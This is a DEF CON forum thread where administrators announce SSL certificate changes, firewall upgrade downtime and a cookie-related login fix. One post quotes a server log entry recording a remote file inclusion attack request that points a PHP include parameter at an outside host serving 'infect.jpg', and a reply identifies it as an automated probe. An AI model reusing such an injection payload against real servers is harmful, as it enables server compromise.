Announcement

Collapse
No announcement yet.

PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

    Originally posted by Dark Tangent View Post
    Excellent, thanks!

    I am looking into purchasing a wild card cert for defcon.org so we can properly ssl everything. I'll keep you guys up to date.
    A site-wide cert? Rockin. That will help with pics.defcon.org and any other host encryption.

    Also we will need to schedule about 6 to 12 hours of downtime for the firewall upgrade. I will do all I can ahead of time, so it might just be three hours, but I want to plan for the worst.
    Excellent. If you are looking for suggestions on best days... Friday is one of the slowest days on the forums-- especially in the eve. Monday through Wednesday are some of the busier days.

    I'm going to down service temporarily to help me diagnose a new problem. Expected downtime? 5 minutes.

    Comment


    • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

      Did something change? If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.
      DaKahuna
      ___________________
      Will Hack for Bandwidth

      Comment


      • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

        Originally posted by DaKahuna View Post
        Did something change? If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.
        Sounds like a cookie issue, or FW rules might be getting updated.

        If Your auth does not remain functional, try clearing your cookies for this domain, then login again.

        Cookies also help your client track what threads you have read.

        Try this, and please let us know how it works for you.

        Anyone else experiencing the above? Any procedure to duplicate it?

        I've changed nothing since the last major update mentioned above. Converge has maintenance but that is now dependent on another change.

        Comment


        • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

          Originally posted by DaKahuna View Post
          If I read a thread and it takes me more that a couple of minutes, I get sent back to the log-in screen again as if it did not remember me, when I click on "New Posts". However, after logging in the Post no longer show up as new so it is recognizaing that I read them.
          Originally posted by TheCotMan View Post
          Sounds like a cookie issue, or FW rules might be getting updated.

          If Your auth does not remain functional, try clearing your cookies for this domain, then login again.

          Cookies also help your client track what threads you have read.

          Try this, and please let us know how it works for you.

          Anyone else experiencing the above? Any procedure to duplicate it?
          I've had similar problems twice in the past, and clearing the cache and cookies resolved it in both cases.
          Thorn
          "If you can't be a good example, then you'll just have to be a horrible warning." - Catherine Aird

          Comment


          • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

            Originally posted by Thorn View Post
            I've had similar problems twice in the past, and clearing the cache and cookies resolved it in both cases.
            And clearing the cookies worked in this case for me. Thanks.
            DaKahuna
            ___________________
            Will Hack for Bandwidth

            Comment


            • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

              Originally posted by DaKahuna View Post
              And clearing the cookies worked in this case for me. Thanks.
              You're welcome.
              Thorn
              "If you can't be a good example, then you'll just have to be a horrible warning." - Catherine Aird

              Comment


              • Upgrades weekend of 8/30

                Greetings all,

                DT just wanted me to let everyone know that the firewall is being upgraded this weekend, and that there may be some ups and downs with he forums and the https as it happens.

                Thanks for your patience as this occurs...



                Neil

                Comment


                • Re: Upgrades weekend of 8/30

                  Originally posted by neil View Post
                  Greetings all,

                  DT just wanted me to let everyone know that the firewall is being upgraded this weekend, and that there may be some ups and downs with he forums and the https as it happens.

                  Thanks for your patience as this occurs...



                  Neil
                  Thanks Neil. I've been reluctant to login to the forums without https, but now I have a tunnel.

                  Tunnels are cool. Heh-heh, heh-heh, hrm.

                  Comment


                  • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                    Just got word; more maintenance is about to begin.

                    Comment


                    • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                      Originally posted by TheCotMan View Post
                      Just got word; more maintenance is about to begin.
                      Wow, what a nightmare!

                      I won't begin to go into the unseen complications and incompatibilities. But the short version for everyone here boils down to this:

                      - The Thawte 123SSL certs no longer play nice and I've reverted to self signed certs for the time being so people can log in safely.

                      For forums.defcon.org the temporary signature value is:
                      Size: 128 Bytes / 1024 Bits
                      95 30 c1 11 1e ee 71 58 49 d9 5e 2e 3f 7f b1 eb
                      fc 98 49 27 69 bb 85 4f e9 05 35 4f 0d a5 3f 07
                      a7 ab 85 fa 70 5b 3c b5 2d 26 c0 75 57 22 95 fc
                      ec 5f 09 7a 3d 5f 3a 12 b7 d1 69 81 56 76 a1 26
                      3f f5 99 c4 fe 3e 1f d7 ea a0 0a bd fd bd 40 23
                      a8 9d 09 fe 8a 5d c6 49 5a 81 ad f2 b5 81 4a f4
                      57 3b 73 2a 7c 86 0f 25 c4 40 8a e1 90 bf 92 83
                      83 11 74 9b c6 65 6d 05 b8 0e cb 4b d9 3b 77 e5

                      for those of you paranoid enough to check.

                      The http filtering rules had to be recreated, so I might have made a mistake. Please report all odd behavior here and I'll kill all the bugs one at a time!

                      Good to be back up!

                      DT
                      PGP Key: https://defcon.org/html/links/dtangent.html

                      Comment


                      • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                        Thanks DT .:-)

                        Things to be tested:
                        * Mail (new users, PM, thread updates)
                        * Long URL generated by the forums (example: search)
                        * Calendar
                        * ical export
                        * New Posts
                        * Long posts

                        Anything else?

                        I'll make a new test account and purge it for testing user sign-up.

                        I've tested htauth in 2 of the spaces we had it before, and it still works.

                        Comment


                        • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                          Looking through the logs to see what errors are being generated I am seeing a lot of things like this:

                          attackip: 66.180.173.59
                          reason: Poorly formed request: GET //admin/inc/include.php?language=0&lang_settings[0][1]=http://www.michelvoorn.com/ocarteiro/infect.jpg

                          Must be some auto crawling infecter?
                          PGP Key: https://defcon.org/html/links/dtangent.html

                          Comment


                          • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                            Originally posted by Dark Tangent View Post
                            Looking through the logs to see what errors are being generated I am seeing a lot of things like this:

                            attackip: 66.180.173.59
                            reason: Poorly formed request: GET //admin/inc/include.php?language=0&lang_settings[0][1]=http://www.michelvoorn.com/ocarteiro/infect.jpg

                            Must be some auto crawling infecter?

                            Google says:
                            http://securitytracker.com/alerts/2006/Jul/1016513.html

                            Probably an automated script probing for web servers with this webmail product.

                            Comment


                            • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                              Testing and diagnostics happening for the next hour or so... Access to forums may be open and closed for a while as needed during testing.

                              Comment


                              • Re: PUBLIC-NOTICES: Forum Changes/Fixes. Any Questions?

                                Originally posted by TheCotMan View Post
                                Testing and diagnostics happening for the next hour or so... Access to forums may be open and closed for a while as needed during testing.
                                Expect something again tonight.

                                Comment

                                Working...
                                X